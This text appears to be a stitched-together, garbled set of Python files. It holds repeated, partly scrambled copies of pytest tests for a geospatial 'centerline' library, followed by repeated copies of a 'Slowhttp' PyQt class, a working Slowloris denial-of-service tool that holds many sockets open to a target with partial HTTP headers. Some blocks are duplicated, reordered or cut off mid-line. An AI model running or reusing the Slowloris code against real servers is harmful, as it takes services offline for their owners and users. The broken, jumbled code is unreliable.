    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_geojson_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_invalid_destination_file_format(
    create_input_file, create_output_centerline_file
):
    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_file = create_output_centerline_file("unknown")

    runner = CliRunner()
    result = runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_file]
    )

    assert isinstance(result.exception, UnsupportedVectorType)

def test_input_file_does_not_contain_polygons(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 0

    input_points_geojson = create_input_file("points", "geojson")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_points_geojson, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT


EXPECTED_DRIVER_NAME = "ESRI Shapefile"

    input_file = create_input_file("polygons", "shp")
    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

from __future__ import unicode_literals

import fiona
import pytest

from click.testing import CliRunner

from centerline.converters import create_centerlines, get_ogr_driver
from centerline.exceptions import UnsupportedVectorType

def test__driver_name__with_shp__returns_esri_shapefile(create_input_file):

def test__driver_name__with_json__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = "example.json"

    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__driver_name__with_geojson__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = create_input_file("polygons", "geojson")

    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__with_unknown_extension__returns_valueerror():
    input_file = "example.unknown"

    with pytest.raises(UnsupportedVectorType):
        get_ogr_driver(input_file)

def test_shp_to_shp_too_large_density_raises_error(
    create_input_file, create_output_centerline_file, caplog
):
    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines,
        [
            input_polygon_shp,
            output_centerline_shp,
            "--interpolation-distance",
            13.5,
        ],
    )

    assert (
        "Number of produced ridges is too small. Please adjust your "
        "interpolation distance." in caplog.messages
    )

def test_shp_to_shp_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_shp_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_shp_to_geojson_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_geojson_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_invalid_destination_file_format(
    create_input_file, create_output_centerline_file
):
    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_file = create_output_centerline_file("unknown")

    runner = CliRunner()
    result = runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_file]
    )

    assert isinstance(result.exception, UnsupportedVectorType)

def test_input_file_does_not_contain_polygons(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 0

    input_points_geojson = create_input_file("points", "geojson")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_points_geojson, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT


from __future__ import unicode_literals

import fiona
import pytest

from click.testing import CliRunner

from centerline.converters import create_centerlines, get_ogr_driver
from centerline.exceptions import UnsupportedVectorType

def test__driver_name__with_shp__returns_esri_shapefile(create_input_file):
    EXPECTED_DRIVER_NAME = "ESRI Shapefile"

    input_file = create_input_file("polygons", "shp")
    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__driver_name__with_json__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = "example.json"

    driver = get_ogr_driver(input_file)

    assert driver.

def test__driver_name__with_geojson__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = create_input_file("polygons", "geojson")

    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__with_unknown_extension__returns_valueerror():
    input_file = "example.unknown"

    with pytest.raises(UnsupportedVectorType):
        get_ogr_driver(input_file)

def test_shp_to_shp_too_large_density_raises_error(
    create_input_file, create_output_centerline_file, caplog
):
    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines,
        [
            input_polygon_shp,
            output_centerline_shp,
            "--interpolation-distance",
            13.5,
        ],
    )

    assert (
        "Number of produced ridges is too small. Please adjust your "
        "interpolation distance." in caplog.messages
    )

def test_shp_to_shp_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_shp_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_shp_to_geojson_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_geojson_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_invalid_destination_file_format(
    create_input_file, create_output_centerline_file
):
    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_file = create_output_centerline_file("unknown")

    runner = CliRunner()
    result = runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_file]
    )

    assert isinstance(result.exception, UnsupportedVectorType)

def test_input_file_does_not_contain_polygons(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 0

    input_points_geojson = create_input_file("points", "geojson")
    output_centerline_geojson = create_output_centerline_file("geojson")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_points_geojson, output_centerline_geojson]
    )

    with fiona.open(output_centerline_geojson) as dst:
        assert len(list(dst)) == EXPECTED_COUNT


def run(self):
        # Init connections

import argparse
from threading import Thread
import socket
import random
import time
from PyQt5.Qt import pyqtSignal,QThread
import plugins.config

class Slowhttp(QThread):
    str_signal = pyqtSignal([str,str])

    def __init__(self,host,port,num_of_sockets,wait_time):
        super().__init__()
        self.host = host
        self.port = port
        self.num_of_sockets = int(num_of_sockets)
        self.wait_time = int(wait_time)
        self.connections = list()

    def initiate_connection(self):
        s = None
        for res in socket.getaddrinfo(self.host, self.port, socket.AF_UNSPEC, socket.SOCK_STREAM):
            af, socktype, proto, canonname, sa = res
            try:
                s = socket.socket(af, socktype, proto)
            except socket.error as msg:
                self.str_signal[str,str].emit('[+] 初始化连接:' + msg,'green')
                s = None
                continue
            try:
                s.settimeout(5)
                s.connect(sa)
                s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1993)).encode("utf-8"))
                s.send(
                    "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\r\n".encode(
                        "utf-8"))
                s.send("Accept-language: en-US,en\r\n".encode("utf-8"))
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 初始化连接:' + str(msg), 'green')
                s.close()
                s = None
                continue
            break
        if s is None:
            self.str_signal[str, str].emit('[-] 可能无法打开socket', 'red')
        return s

    def keep_connection_alive(self,socket):
        if plugins.config.slowhttp_wait == 0:
            success = False
            try:
                socket.send("X-a: loris{}\r\n".format(random.randint(1, 1337)).encode("utf-8"))
                success = True
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 保持连接存活:' + msg, 'green')
            if success == False:
                self.str_signal[str, str].emit('[-] 连接 ' + str(self.connections.index(socket)) + ' 断开，正在重连...', 'red')
                socket = self.initiate_connection()
        else:
            return

self.str_signal[str, str].emit('[+] 启动连接...', 'green')
        for i in range(self.num_of_sockets):
            socket = self.initiate_connection()
            self.connections.append(socket)
            print("Set up connection " + str(i))
            self.str_signal[str, str].emit('[+] 启动连接: ' + str(i), 'green')
        self.str_signal[str, str].emit('[+] 连接已建立...', 'green')

        # Keep connections alive
        while True:
            if plugins.config.slowhttp_wait == 0:
                print("Keeping connections alive...")
                self.str_signal[str, str].emit('[+] 保持连接存活...', 'green')
                for socket in self.connections:
                    thread = Thread(target=self.keep_connection_alive, args=(socket,))
                    thread.daemon = True
                    thread.start()
                print(str(len(self.connections)) + " active connection(s).")
                self.str_signal[str, str].emit('[+] ' + str(len(self.connections)) + '连接存活', 'green')
                time.sleep(self.wait_time)
            else:
                return


super().__init__()
        self.host = host
        self.port = port
        self.num_of_sockets = int(num_of_sockets)
        self.wait_time = int(wait_time)
        self.connections = list()

import argparse
from threading import Thread
import socket
import random
import time
from PyQt5.Qt import pyqtSignal,QThread
import plugins.config

class Slowhttp(QThread):
    str_signal = pyqtSignal([str,str])

    def __init__(self,host,port,num_of_sockets,wait_time):

    def initiate_connection(self):
        s = None
        for res in socket.getaddrinfo(self.host, self.port, socket.AF_UNSPEC, socket.SOCK_STREAM):
            af, socktype, proto, canonname, sa = res
            try:
                s = socket.socket(af, socktype, proto)
            except socket.error as msg:
                self.str_signal[str,str].emit('[+] 初始化连接:' + msg,'green')
                s = None
                continue
            try:
                s.settimeout(5)
                s.connect(sa)
                s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1993)).encode("utf-8"))
                s.send(
                    "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\r\n".encode(
                        "utf-8"))
                s.send("Accept-language: en-US,en\r\n".encode("utf-8"))
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 初始化连接:' + str(msg), 'green')
                s.close()
                s = None
                continue
            break
        if s is None:
            self.str_signal[str, str].emit('[-] 可能无法打开socket', 'red')
        return s

    def keep_connection_alive(self,socket):
        if plugins.config.slowhttp_wait == 0:
            success = False
            try:
                socket.send("X-a: loris{}\r\n".format(random.randint(1, 1337)).encode("utf-8"))
                success = True
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 保持连接存活:' + msg, 'green')
            if success == False:
                self.str_signal[str, str].emit('[-] 连接 ' + str(self.connections.index(socket)) + ' 断开，正在重连...', 'red')
                socket = self.initiate_connection()
        else:
            return

    def run(self):
        # Init connections
        self.str_signal[str, str].emit('[+] 启动连接...', 'green')
        for i in range(self.num_of_sockets):
            socket = self.initiate_connection()
            self.connections.append(socket)
            print("Set up connection " + str(i))
            self.str_signal[str, str].emit('[+] 启动连接: ' + str(i), 'green')
        self.str_signal[str, str].emit('[+] 连接已建立...', 'green')

        # Keep connections alive
        while True:
            if plugins.config.slowhttp_wait == 0:
                print("Keeping connections alive...")
                self.str_signal[str, str].emit('[+] 保持连接存活...', 'green')
                for socket in self.connections:
                    thread = Thread(target=self.keep_connection_alive, args=(socket,))
                    thread.daemon = True
                    thread.start()
                print(str(len(self.connections)) + " active connection(s).")
                self.str_signal[str, str].emit('[+] ' + str(len(self.connections)) + '连接存活', 'green')
                time.sleep(self.wait_time)
            else:
                return


import argparse
from threading import Thread
import socket
import random
import time
from PyQt5.Qt import pyqtSignal,QThread
import plugins.config

class Slowhttp(QThread):
    str_signal = pyqtSignal([str,str])

    def __init__(self,host,port,num_of_sockets,wait_time):
        super().__init__()
        self.host = host
        self.po

        self.num_of_sockets = int(num_of_sockets)
        self.wait_time = int(wait_time)
        self.connections = list()

    def initiate_connection(self):
        s = None
        for res in socket.getaddrinfo(self.host, self.port, socket.AF_UNSPEC, socket.SOCK_STREAM):
            af, socktype, proto, canonname, sa = res
            try:
                s = socket.socket(af, socktype, proto)
            except socket.error as msg:
                self.str_signal[str,str].emit('[+] 初始化连接:' + msg,'green')
                s = None
                continue
            try:
                s.settimeout(5)
                s.connect(sa)
                s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1993)).encode("utf-8"))
                s.send(
                    "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\r\n".encode(
                        "utf-8"))
                s.send("Accept-language: en-US,en\r\n".encode("utf-8"))
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 初始化连接:' + str(msg), 'green')
                s.close()
                s = None
                continue
            break
        if s is None:
            self.str_signal[str, str].emit('[-] 可能无法打开socket', 'red')
        return s

    def keep_connection_alive(self,socket):
        if plugins.config.slowhttp_wait == 0:
            success = False
            try:
                socket.send("X-a: loris{}\r\n".format(random.randint(1, 1337)).encode("utf-8"))
                success = True
            except socket.error as msg:
                self.str_signal[str, str].emit('[+] 保持连接存活:' + msg, 'green')
            if success == False:
                self.str_signal[str, str].emit('[-] 连接 ' + str(self.connections.index(socket)) + ' 断开，正在重连...', 'red')
                socket = self.initiate_connection()
        else:
            return

    def run(self):
        # Init connections
        self.str_signal[str, str].emit('[+] 启动连接...', 'green')
        for i in range(self.num_of_sockets):
            socket = self.initiate_connection()
            self.connections.append(socket)
            print("Set up connection " + str(i))
            self.str_signal[str, str].emit('[+] 启动连接: ' + str(i), 'green')
        self.str_signal[str, str].emit('[+] 连接已建立...', 'green')

        # Keep connections alive
        while True:
            if plugins.config.slowhttp_wait == 0:
                print("Keeping connections alive...")
                self.str_signal[str, str].emit('[+] 保持连接存活...', 'green')
                for socket in self.connections:
                    thread = Thread(target=self.keep_connection_alive, args=(socket,))
                    thread.daemon = True
                    thread.start()
                print(str(len(self.connections)) + " active connection(s).")
                self.str_signal[str, str].emit('[+] ' + str(len(self.connections)) + '连接存活', 'green')
                time.sleep(self.wait_time)
            else:
                return